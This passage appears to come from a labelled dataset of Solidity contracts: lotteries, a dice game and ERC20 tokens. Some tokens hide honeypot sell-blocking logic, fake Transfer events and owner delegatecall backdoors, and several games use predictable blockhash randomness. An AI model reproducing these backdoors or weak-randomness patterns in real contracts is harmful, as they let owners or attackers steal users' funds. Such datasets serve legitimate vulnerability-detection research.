lastJackpotResult = uint(blockhash(block.number-1)) % jackpotPossibilities;
if(lastJackpotResult < cicles[cicleNumber].lastJackpotChance) {
isWinner = true;
}
}
event CicleEnded(uint indexed cicleNumber, address winner, uint winnerPrize, uint commyReward, uint lastBlock, bool jackpotVictory);
function endCicle(uint cicleNumber, bool jackpotVictory) private {
cicles[cicleNumber].isActive = false;
emit CicleEnded(cicleNumber, cicles[cicleNumber].lastPlayer, cicles[cicleNumber].winnerPot, cicles[cicleNumber].commyReward, block.number, jackpotVictory);
createNewCicle();
}
function finishByInactivity(uint cicleNumber) public onlyIfNoActivity(cicleNumber) onlyActiveCicle(cicleNumber){
endCicle(cicleNumber, false);
}
function withdraw(uint cicleNumber) public onlyValidCicle(cicleNumber) onlyInactiveCicle(cicleNumber) onlyWithTickets(cicleNumber) {
uint numTickets = cicles[cicleNumber].ticketsByHash[msg.sender];
cicles[cicleNumber].ticketsByHash[msg.sender] = 0;
if(msg.sender != cicles[cicleNumber].lastPlayer){
msg.sender.transfer(cicles[cicleNumber].commyReward * numTickets);
} else {
if(numTickets == 1){
msg.sender.transfer(cicles[cicleNumber].winnerPot);
} else {
msg.sender.transfer(cicles[cicleNumber].winnerPot + (cicles[cicleNumber].commyReward * (numTickets - 1)));
}
}
}
function claimPrizeByInactivity(uint cicleNumber) public onlyValidCicle(cicleNumber) onlyActiveCicle(cicleNumber) onlyIfNoActivity(cicleNumber) onlyLastPlayer(cicleNumber) {
endCicle(cicleNumber, false);
withdraw(cicleNumber);
}
function getCicle(uint cicleNumber) public view returns (address lastPlayer,
uint number,
uint initialBlock,
uint numTickets,
uint currentTicketCost,
uint lastJackpotChance,
uint winnerPot,
uint commyPot,
uint commyReward,
uint lastBetBlock,
bool isActive){
Cicle memory myCurrentCicle = cicles[cicleNumber];
return (myCurrentCicle.lastPlayer,
myCurrentCicle.number,
myCurrentCicle.initialBlock,
myCurrentCicle.numTickets,
myCurrentCicle.currentTicketCost,
myCurrentCicle.lastJackpotChance,
myCurrentCicle.winnerPot,
myCurrentCicle.commyPot,
myCurrentCicle.commyReward,
myCurrentCicle.lastBetBlock,
myCurrentCicle.isActive);
}
function getMyTickets(address myAddress, uint cicleNumber) public view returns (uint myTickets) {
return cicles[cicleNumber].ticketsByHash[myAddress];
}
} | 1 | 3,858 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address private botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract XendToken is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 200000000000000000000000000;
string public name = "XEND";
string public symbol = "XEND";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = msg.sender;
uniPair = pairFor(wETH, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[msg.sender][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 1,939 |
pragma solidity ^0.4.24;
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity ^0.4.24;
contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.4.24;
interface EtherHiLoRandomNumberRequester {
function incomingRandomNumber(address player, uint8 randomNumber) external;
function incomingRandomNumberError(address player) external;
}
interface EtherHiLoRandomNumberGenerator {
function generateRandomNumber(address player, uint8 max) payable external returns (bool);
}
contract EtherHiLo is Ownable, EtherHiLoRandomNumberRequester {
uint8 constant NUM_DICE_SIDES = 13;
uint public minBet;
uint public maxBetThresholdPct;
bool public gameRunning;
uint public balanceInPlay;
EtherHiLoRandomNumberGenerator private random;
mapping(address => Game) private gamesInProgress;
event GameFinished(address indexed player, uint indexed playerGameNumber, uint bet, uint8 firstRoll, uint8 finalRoll, uint winnings, uint payout);
event GameError(address indexed player, uint indexed playerGameNumber);
enum BetDirection {
None,
Low,
High
}
enum GameState {
None,
WaitingForFirstCard,
WaitingForDirection,
WaitingForFinalCard,
Finished
}
struct Game {
address player;
GameState state;
uint id;
BetDirection direction;
uint bet;
uint8 firstRoll;
uint8 finalRoll;
uint winnings;
}
constructor() public {
setMinBet(100 finney);
setGameRunning(true);
setMaxBetThresholdPct(75);
}
function() external payable {
}
function beginGame() public payable {
address player = msg.sender;
uint bet = msg.value;
require(player != address(0));
require(gamesInProgress[player].state == GameState.None || gamesInProgress[player].state == GameState.Finished);
require(gameRunning);
require(bet >= minBet && bet <= getMaxBet());
Game memory game = Game({
id: uint(keccak256(block.number, player, bet)),
player: player,
state: GameState.WaitingForFirstCard,
bet: bet,
firstRoll: 0,
finalRoll: 0,
winnings: 0,
direction: BetDirection.None
});
if (!random.generateRandomNumber(player, NUM_DICE_SIDES)) {
player.transfer(msg.value);
return;
}
balanceInPlay = balanceInPlay + game.bet;
gamesInProgress[player] = game;
}
function finishGame(BetDirection direction) public {
address player = msg.sender;
require(player != address(0));
require(gamesInProgress[player].state != GameState.None && gamesInProgress[player].state != GameState.Finished);
if (!random.generateRandomNumber(player, NUM_DICE_SIDES)) {
return;
}
Game storage game = gamesInProgress[player];
game.direction = direction;
game.state = GameState.WaitingForFinalCard;
gamesInProgress[player] = game;
}
function getGameState(address player) public view returns
(GameState, uint, BetDirection, uint, uint8, uint8, uint) {
return (
gamesInProgress[player].state,
gamesInProgress[player].id,
gamesInProgress[player].direction,
gamesInProgress[player].bet,
gamesInProgress[player].firstRoll,
gamesInProgress[player].finalRoll,
gamesInProgress[player].winnings
);
}
function getMinBet() public view returns (uint) {
return minBet;
}
function getMaxBet() public view returns (uint) {
return SafeMath.div(SafeMath.div(SafeMath.mul(this.balance - balanceInPlay, maxBetThresholdPct), 100), 12);
}
function calculateWinnings(uint bet, uint percent) public pure returns (uint) {
return SafeMath.div(SafeMath.mul(bet, percent), 100);
}
function getLowWinPercent(uint number) public pure returns (uint) {
require(number >= 2 && number <= NUM_DICE_SIDES);
if (number == 2) {
return 1200;
} else if (number == 3) {
return 500;
} else if (number == 4) {
return 300;
} else if (number == 5) {
return 300;
} else if (number == 6) {
return 200;
} else if (number == 7) {
return 180;
} else if (number == 8) {
return 150;
} else if (number == 9) {
return 140;
} else if (number == 10) {
return 130;
} else if (number == 11) {
return 120;
} else if (number == 12) {
return 110;
} else if (number == 13) {
return 100;
}
}
function getHighWinPercent(uint number) public pure returns (uint) {
require(number >= 1 && number < NUM_DICE_SIDES);
if (number == 1) {
return 100;
} else if (number == 2) {
return 110;
} else if (number == 3) {
return 120;
} else if (number == 4) {
return 130;
} else if (number == 5) {
return 140;
} else if (number == 6) {
return 150;
} else if (number == 7) {
return 180;
} else if (number == 8) {
return 200;
} else if (number == 9) {
return 300;
} else if (number == 10) {
return 300;
} else if (number == 11) {
return 500;
} else if (number == 12) {
return 1200;
}
}
function incomingRandomNumberError(address player) public {
require(msg.sender == address(random));
Game storage game = gamesInProgress[player];
if (game.bet > 0) {
game.player.transfer(game.bet);
}
delete gamesInProgress[player];
GameError(player, game.id);
}
function incomingRandomNumber(address player, uint8 randomNumber) public {
require(msg.sender == address(random));
Game storage game = gamesInProgress[player];
if (game.firstRoll == 0) {
game.firstRoll = randomNumber;
game.state = GameState.WaitingForDirection;
gamesInProgress[player] = game;
return;
}
uint8 finalRoll = randomNumber;
uint winnings = 0;
if (game.direction == BetDirection.High && finalRoll > game.firstRoll) {
winnings = calculateWinnings(game.bet, getHighWinPercent(game.firstRoll));
} else if (game.direction == BetDirection.Low && finalRoll < game.firstRoll) {
winnings = calculateWinnings(game.bet, getLowWinPercent(game.firstRoll));
}
uint transferAmount = winnings;
if (transferAmount > this.balance) {
if (game.bet < this.balance) {
transferAmount = game.bet;
} else {
transferAmount = SafeMath.div(SafeMath.mul(this.balance, 90), 100);
}
}
balanceInPlay = balanceInPlay - game.bet;
if (transferAmount > 0) {
game.player.transfer(transferAmount);
}
game.finalRoll = finalRoll;
game.winnings = winnings;
game.state = GameState.Finished;
gamesInProgress[player] = game;
GameFinished(player, game.id, game.bet, game.firstRoll, finalRoll, winnings, transferAmount);
}
function transferBalance(address to, uint amount) public onlyOwner {
to.transfer(amount);
}
function cleanupAbandonedGame(address player) public onlyOwner {
require(player != address(0));
Game storage game = gamesInProgress[player];
require(game.player != address(0));
game.player.transfer(game.bet);
delete gamesInProgress[game.player];
}
function setRandomAddress(address _address) public onlyOwner {
random = EtherHiLoRandomNumberGenerator(_address);
}
function setMinBet(uint bet) public onlyOwner {
minBet = bet;
}
function setGameRunning(bool v) public onlyOwner {
gameRunning = v;
}
function setMaxBetThresholdPct(uint v) public onlyOwner {
maxBetThresholdPct = v;
}
function destroyAndSend(address _recipient) public onlyOwner {
selfdestruct(_recipient);
}
} | 1 | 3,909 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,274 |
pragma solidity ^0.4.25;
contract SmartLotto {
using SafeMath for uint256;
uint256 constant public TICKET_PRICE = 0.1 ether;
uint256 constant public MAX_TICKETS_PER_TX = 250;
uint256 constant public JACKPOT_WINNER = 1;
uint256 constant public FIRST_PRIZE_WINNERS = 5;
uint256 constant public SECOND_PRIZE_WINNERS_PERC = 10;
uint256 constant public JACKPOT_PRIZE = 10;
uint256 constant public FIRST_PRIZE_POOL = 5;
uint256 constant public SECOND_PRIZE_POOL = 35;
uint256 constant public REFERRAL_COMMISSION = 5;
uint256 constant public MARKETING_COMMISSION = 10;
uint256 constant public WINNINGS_COMMISSION = 20;
uint256 constant public PERCENTS_DIVIDER = 100;
uint256 constant public CLOSE_TICKET_SALES = 1546297200;
uint256 constant public LOTTERY_DRAW_START = 1546300800;
uint256 constant public PAYMENTS_END_TIME = 1554076800;
uint256 public playersCount = 0;
uint256 public ticketsCount = 0;
uint256 public jackpotPrize = 0;
uint256 public firstPrize = 0;
uint256 public secondPrize = 0;
uint256 public secondPrizeWonTickets = 0;
uint256 public wonTicketsAmount = 0;
uint256 public participantsMoneyPool = 0;
uint256 public participantsTicketPrize = 0;
uint256 public ticketsCalculated = 0;
uint256 public salt = 0;
bool public calculationsDone;
address constant public MARKETING_ADDRESS = 0xFD527958E10C546f8b484135CC51fa9f0d3A8C5f;
address constant public COMMISSION_ADDRESS = 0x53434676E12A4eE34a4eC7CaBEBE9320e8b836e1;
struct Player {
uint256 ticketsCount;
uint256[] ticketsPacksBuyed;
uint256 winnings;
uint256 wonTicketsCount;
uint256 payed;
}
struct TicketsBuy {
address player;
uint256 ticketsAmount;
}
struct TicketsWon {
uint256 won;
}
mapping (address => Player) public players;
mapping (uint256 => TicketsBuy) public ticketsBuys;
mapping (uint256 => TicketsWon) public ticketsWons;
function() public payable {
if (msg.value >= TICKET_PRICE) {
buyTickets();
} else {
if (!calculationsDone) {
makeCalculations(50);
} else {
payPlayers();
}
}
}
function buyTickets() private {
require(now <= CLOSE_TICKET_SALES);
uint256 msgValue = msg.value;
Player storage player = players[msg.sender];
if (player.ticketsCount == 0) {
playersCount++;
}
uint256 ticketsAmount = msgValue.div(TICKET_PRICE);
if (ticketsAmount > MAX_TICKETS_PER_TX) {
ticketsAmount = MAX_TICKETS_PER_TX;
}
uint256 overPayed = msgValue.sub(ticketsAmount.mul(TICKET_PRICE));
if (overPayed > 0) {
msgValue = msgValue.sub(overPayed);
msg.sender.send(overPayed);
}
player.ticketsPacksBuyed.push(ticketsCount);
ticketsBuys[ticketsCount] = TicketsBuy({
player : msg.sender,
ticketsAmount : ticketsAmount
});
player.ticketsCount = player.ticketsCount.add(ticketsAmount);
ticketsCount = ticketsCount.add(ticketsAmount);
address referrerAddress = bytesToAddress(msg.data);
if (referrerAddress != address(0) && referrerAddress != msg.sender) {
uint256 referralAmount = msgValue.mul(REFERRAL_COMMISSION).div(PERCENTS_DIVIDER);
referrerAddress.send(referralAmount);
}
uint256 marketingAmount = msgValue.mul(MARKETING_COMMISSION).div(PERCENTS_DIVIDER);
MARKETING_ADDRESS.send(marketingAmount);
}
function makeCalculations(uint256 count) public {
require(!calculationsDone);
require(now >= LOTTERY_DRAW_START);
if (salt == 0) {
salt = uint256(keccak256(abi.encodePacked(ticketsCount, uint256(blockhash(block.number-1)), playersCount)));
uint256 contractBalance = address(this).balance;
jackpotPrize = contractBalance.mul(JACKPOT_PRIZE).div(PERCENTS_DIVIDER).div(JACKPOT_WINNER);
firstPrize = contractBalance.mul(FIRST_PRIZE_POOL).div(PERCENTS_DIVIDER).div(FIRST_PRIZE_WINNERS);
secondPrizeWonTickets = ticketsCount.mul(SECOND_PRIZE_WINNERS_PERC).div(PERCENTS_DIVIDER);
secondPrize = contractBalance.mul(SECOND_PRIZE_POOL).div(PERCENTS_DIVIDER).div(secondPrizeWonTickets);
wonTicketsAmount = secondPrizeWonTickets.add(JACKPOT_WINNER).add(FIRST_PRIZE_WINNERS);
participantsMoneyPool = contractBalance.mul(PERCENTS_DIVIDER.sub(JACKPOT_PRIZE).sub(FIRST_PRIZE_POOL).sub(SECOND_PRIZE_POOL)).div(PERCENTS_DIVIDER);
participantsTicketPrize = participantsMoneyPool.div(ticketsCount.sub(wonTicketsAmount));
calculateWonTickets(JACKPOT_WINNER, jackpotPrize);
calculateWonTickets(FIRST_PRIZE_WINNERS, firstPrize);
ticketsCalculated = ticketsCalculated.add(JACKPOT_WINNER).add(FIRST_PRIZE_WINNERS);
} else {
if (ticketsCalculated < wonTicketsAmount) {
uint256 ticketsForCalculation = wonTicketsAmount.sub(ticketsCalculated);
if (count == 0 && ticketsForCalculation > 50) {
ticketsForCalculation = 50;
}
if (count > 0 && count <= ticketsForCalculation) {
ticketsForCalculation = count;
}
calculateWonTickets(ticketsForCalculation, secondPrize);
ticketsCalculated = ticketsCalculated.add(ticketsForCalculation);
}
if (ticketsCalculated == wonTicketsAmount) {
calculationsDone = true;
}
}
}
function calculateWonTickets(uint256 numbers, uint256 prize) private {
for (uint256 n = 0; n < numbers; n++) {
uint256 wonTicketNumber = random(n);
if (ticketsWons[wonTicketNumber].won == 1) {
numbers = numbers.add(1);
} else {
ticketsWons[wonTicketNumber].won = 1;
for (uint256 i = 0; i < MAX_TICKETS_PER_TX; i++) {
uint256 wonTicketIdSearch = wonTicketNumber - i;
if (ticketsBuys[wonTicketIdSearch].ticketsAmount > 0) {
Player storage player = players[ticketsBuys[wonTicketIdSearch].player];
player.winnings = player.winnings.add(prize);
player.wonTicketsCount++;
break;
}
}
}
}
salt = salt.add(numbers);
}
function payPlayers() private {
require(calculationsDone);
if (now <= PAYMENTS_END_TIME) {
Player storage player = players[msg.sender];
if (player.winnings > 0 && player.payed == 0) {
uint256 winCommission = player.winnings.mul(WINNINGS_COMMISSION).div(PERCENTS_DIVIDER);
uint256 notWonTickets = player.ticketsCount.sub(player.wonTicketsCount);
uint256 notWonAmount = notWonTickets.mul(participantsTicketPrize);
player.payed = player.winnings.add(notWonAmount);
msg.sender.send(player.winnings.sub(winCommission).add(notWonAmount).add(msg.value));
COMMISSION_ADDRESS.send(winCommission);
}
if (player.winnings == 0 && player.payed == 0) {
uint256 returnAmount = player.ticketsCount.mul(participantsTicketPrize);
player.payed = returnAmount;
msg.sender.send(returnAmount.add(msg.value));
}
} else {
uint256 contractBalance = address(this).balance;
if (contractBalance > 0) {
COMMISSION_ADDRESS.send(contractBalance);
}
}
}
function random(uint256 nonce) private view returns (uint256) {
